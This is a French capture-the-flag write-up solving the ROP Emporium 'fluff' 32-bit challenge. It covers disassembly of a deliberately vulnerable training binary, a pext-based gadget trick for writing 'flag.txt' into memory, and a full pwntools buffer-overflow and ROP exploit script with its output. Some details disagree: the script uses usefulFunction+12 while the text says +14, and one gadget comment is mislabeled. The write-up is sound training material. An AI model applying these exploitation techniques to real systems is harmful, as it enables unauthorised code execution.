Contents

Ropemporium x86_32 fluff

fluff

Introduction

Le challenge est décrit ainsi sur le site ropemporium

Working backwards

Once we’ve employed our usual drills of checking protections and searching for interesting symbols & strings, we can think about what we’re trying to acheive and plan our chain. A solid approach is to work backwards: we’ll need a write gadget - for example mov [reg], reg or something equivalent - to make the actual write, so we can start there. Do it!

There’s not much more to this challenge, we just have to think about ways to move data into the registers we want to control. Sometimes we’ll need to take an indirect approach, especially in smaller binaries with fewer available gadgets like this one. If you’re using a gadget finder like ropper, you may need to tell it to search for longer gadgets. As usual, you’ll need to call the print_file() function with a path to the flag as its only argument. Some useful(?) gadgets are available at the questionableGadgets symbol.

Découvert

Contenu du challenge

-rw-r--r-- 1 1000 1000   33 Jul 15  2020 flag.txt
-rwxr-xr-x 1 1000 1000 7256 Jul 15  2020 fluff32
-rwxr-xr-x 1 1000 1000 7212 Jul 15  2020 libfluff32.so

Le challenge contien un executable, une librairie et le fichier flag.txt

Execution

06_fluff# ./fluff
fluff by ROP Emporium
x86_64

You know changing these strings means I have to rewrite my solutions...
> OK
Thank you!

Protections

gef➤  checksec
[+] checksec for '/w/ropemporium/x32/06_fluff/fluff32'
Canary                        : ✘
NX                            : ✓
PIE                           : ✘
Fortify                       : ✘
RelRO                         : Partial

Analyse

Le programme fluff

La fonction main appelle la fonction vulnérable pwnme qui est importée donc la la librairie.so.

[0x080483f0]> pdf @sym.main
            ; DATA XREFS from entry0 @ 0x8048416, 0x804841c
┌ 36: int main (char **argv);
│           ; arg char **argv @ esp+0x14
│           0x08048506      8d4c2404       lea ecx, [argv]
│           0x0804850a      83e4f0         and esp, 0xfffffff0
│           0x0804850d      ff71fc         push dword [ecx - 4]
│           0x08048510      55             push ebp
│           0x08048511      89e5           mov ebp, esp
│           0x08048513      51             push ecx
│           0x08048514      83ec04         sub esp, 4
│           0x08048517      e894feffff     call sym.imp.pwnme
│           0x0804851c      b800000000     mov eax, 0
│           0x08048521      83c404         add esp, 4
│           0x08048524      59             pop ecx
│           0x08048525      5d             pop ebp
│           0x08048526      8d61fc         lea esp, [ecx - 4]
└           0x08048529      c3             ret

Comme write4, il existe une fonction qui appelle une fonction print_file située dans le librairie.

[0x080483f0]> pdf @sym.usefulFunction
┌ 25: sym.usefulFunction ();
│           0x0804852a      55             push ebp
│           0x0804852b      89e5           mov ebp, esp
│           0x0804852d      83ec08         sub esp, 8
│           0x08048530      83ec0c         sub esp, 0xc
│           0x08048533      68e0850408     push str.nonexistent        ; 0x80485e0 ; "nonexistent"
│           0x08048538      e893feffff     call sym.imp.print_file
│           0x0804853d      83c410         add esp, 0x10
│           0x08048540      90             nop
│           0x08048541      c9             leave
└           0x08048542      c3             ret

On note que call de print_file est situé en usefulFunction + 14 .

Le programme ne contient pas de chaine “flag.txt”.

On ne trouve pas non plus de gadget de type “mov [exx]” qui permttrait d’ecrire en mémoire.

Avec radar2 on fouille à la recherche d’indice.

[0x08047ffa]> f~Gadget
0x08048543 0 loc.questionableGadgets

Comme dans la version x64 de fluff on trouve des gadgets intéressants dan cette section.

[0x08047ffa]> pd 10 @ loc.questionableGadgets
        ;-- questionableGadgets:
        0x08048543      89e8           mov eax, ebp
        0x08048545      bbbababab0     mov ebx, 0xb0bababa
        0x0804854a      c4e262f5d0     pext edx, ebx, eax
        0x0804854f      b8efbeadde     mov eax, 0xdeadbeef
        0x08048554      c3             ret
        0x08048555      8611           xchg byte [ecx], dl
        0x08048557      c3             ret
        0x08048558      59             pop ecx
        0x08048559      0fc9           bswap ecx
        0x0804855b      c3             ret
  • xchg byte [ecx], dl

Echange le contenu du bytes adressé par le contenu de ecx et le contenu de dl. On rappelle que dl est l’octat de poid faible de edx. Il nous permet donc d’ecrire un byte en memoire. Mais nous devons maitriser edx et ecx.

  • pop ecx; bswap ecx; ret Permet de charger ecx. bswap ecx inverse ensuite l’ordre de bytes. Nous donne donc le controle de ecx. Il faudra juste inverser le bytes.

Il nous reste encore a contrôler edx.

  • le gadget pext.

Que fait l’instruction pext. (Parallel Bits Extract)

PEXT r32dst, r32src, r32mask

Extrait les bits à 1 dans r32mask de r32src et les écrit dans r32src en parallèle donc dans le même ordre, et cadré à droite.

Par ex (sur 16 bits).

source 1111001111010101
mask   0011111100111001
        ||||||  |||  |
        110011  010  1
        ==> 1100110101
dest.  0000001100110101

Usage du gadget.

        0x08048543      89e8           mov eax, ebp
        0x08048545      bbbababab0     mov ebx, 0xb0bababa
        0x0804854a      c4e262f5d0     pext edx, ebx, eax

On ne maitrise pas la source mais le masque. Moyenant le chargement de eax via ebp. On a ce qu’il faut :

0x080485bb  pop ebp; ret

La source est fixée : 0xb0bababa

Notre but n’est pas de charger edx mais dl

Par exemple pout obtenir ‘f’ dans dl

>>> bin(0xbaba)
'0b1011101010111010'
>>> bin(ord('f'))
'0b1100110'

En partant des bits de poids faible on recherche dans la source les bits correspondants au resultat qu’on veut obtenir

baba: 1011101010111010 “f” 1 10 0 1 10 masque 0000101101001011

La fonction python suivante effectue ce calcul.

def calc_pext_mask(src, dest):
    mask=0
    bmask=1
    while dest:
        if dest&1 == src&1:
            mask=mask | bmask
            dest>>=1
            print(bin(mask)[2:])
        src>>=1
        bmask<<=1
    return mask

m = calc_pext_mask(0xb0bababa,ord('f'))
print("mask=",bin(m)[2:])

On obtient le resultat attendu pour ‘f’

1
11
1011
1001011
101001011
1101001011
101101001011
mask= 101101001011

Construction de l’attaque

Synoptique de la chaine de ROP

Pour ecrire ‘f’ dans data :

  • pop ebp pour charger le masque pext de ‘f’
  • mask(‘f’) : 0xb4b
  • gadget pext : edx = 0x66
  • pop ecx; bswap ecx; ret ; charge ecx avec l’adresse cible
  • swap(@data) : adresse cible en big endian
  • xchg byte [ecx], dl => ecriture du caractère

On dont donc itérer sur chaque caractère de ‘flag.txt’ pour écrire data .data.

Et le synoptic global :

  • Pour chaque byte de ‘flag.txt’:
    • Ropchaine d’ecriture pour @data+index du byte
  • usefulFunction+14 pour “call print_file”
  • @data

Script python

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from pwn import *
import time

# break ret de pwnme
gs='''
b *pwnme+177
c
'''

# Set up pwntools for the correct architecture
elf =  ELF('fluff32')
context.binary=elf

# Offset avant ecrasement de l'adresse de retour
offset=0x2c

def pext_mask(src, dest):
    mask=0
    bmask=1
    while dest:
        if dest&1 == src&1:
            mask=mask | bmask
            dest>>=1
            # print(bin(mask)[2:])
        src>>=1
        bmask<<=1
    return mask

usefulFunction=elf.symbols['usefulFunction']
print_file=usefulFunction+12

# ----- Gadgets -----
# mov eax, ebp
# mov ebx, 0xb0bababa
# pext edx, ebx, eax
# mov eax, 0xdeadbeef
# ret
g_pext = 0x08048543

# 0x08048543 : mov dword ptr [edi], ebp ; ret
g_write = 0x08048543

# pop ecx; bswap ecx; ret
g_pop_bswap_ecx=0x08048558

# xchg byte [ecx], dl; ret
g_xchg_ecx=0x08048555

# pop ebp; ret
g_pop_ebp = 0x080485bb

# .data section
data = elf.get_section_by_name('.data').header['sh_addr']

io = process([elf.path])

if len(sys.argv)>1 and sys.argv[1] == "-d":
    gdb.attach(io,gs)
    time.sleep(1)

# io.recvuntil(b"> ")

PL =b"A"*offset

for i, c in enumerate(b'flag.txt'):
    PL+=p32(g_pop_ebp)
    PL+=p32(pext_mask(0xb0bababa,c))
    PL+=p32(g_pext)
    PL+=p32(g_pop_bswap_ecx)
    PL+=p32(data+i, endianness="big")
    PL+=p32(g_xchg_ecx)

PL+=p32(print_file)
PL+=p32(data)

io.sendline(PL)
io.interactive()

Execution

Execution du scipt python :

06_fluff# vi solve.py

[*] '/w/ropemporium/x32/06_fluff/fluff32'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
    RUNPATH:  b'.'
[+] Starting local process '/w/ropemporium/x32/06_fluff/fluff32': pid 124

  [*] Switching to interactive mode
fluff by ROP Emporium
x86

You know changing these strings means I have to rewrite my solutions...
> Thank you!
ROPE{a_placeholder_32byte_flag!}
[*] Got EOF while reading in interactive